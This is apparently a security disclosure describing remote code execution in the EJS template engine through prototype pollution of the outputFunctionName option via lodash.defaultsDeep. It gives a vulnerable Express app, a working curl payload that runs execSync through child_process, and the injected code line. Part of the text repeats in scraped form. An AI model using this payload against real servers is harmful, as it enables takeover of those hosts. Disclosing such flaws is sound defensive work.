By passing an unrestricted render option can lead to a RCE vulnerability.
If attacker can control server render option eg: outputFunctionName, that can inject evil code to the render engine.
There is a simply way to control that option by using prototype pollution.
For a short express application example
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');
const app = express();
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', './');
app.set('view engine', 'ejs');
app.get("/", (req, res) => {
res.render('index');
});
app.post("/", (req, res) => {
let data = {};
let input = JSON.parse(req.body.content);
lodash.defaultsDeep(data, input);
res.json({message: "OK"});
});
let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});
By default outputFunctionName is undefined, but after the attacker post the following data:
curl 127.0.0.1:8086 -v --data 'content={"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}'
curl 127.0.0.1:8086 -v # Trigger render and getshell
Due to prototype pollution, the Object now has attribute outputFunctionName which the attcker controls, then inject to variable prepended and getshell. At ejs.js L575
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // following code has been commented'
I don't think this would be easy to inject that code, but if attacker can use other security vulnerability or developer's mistakes at the same time, it would be a very serious problem.
By passing an unrestricted render option can lead to a RCE vulnerability.
If attacker can control server render option eg:
outputFunctionName, that can inject evil code to the render engine.There is a simply way to control that option by using prototype pollution.
For a short express application example
By default
outputFunctionNameis undefined, but after the attacker post the following data:Due to prototype pollution, the
Objectnow has attributeoutputFunctionNamewhich the attcker controls, then inject to variableprependedand getshell. At ejs.js L575I don't think this would be easy to inject that code, but if attacker can use other security vulnerability or developer's mistakes at the same time, it would be a very serious problem.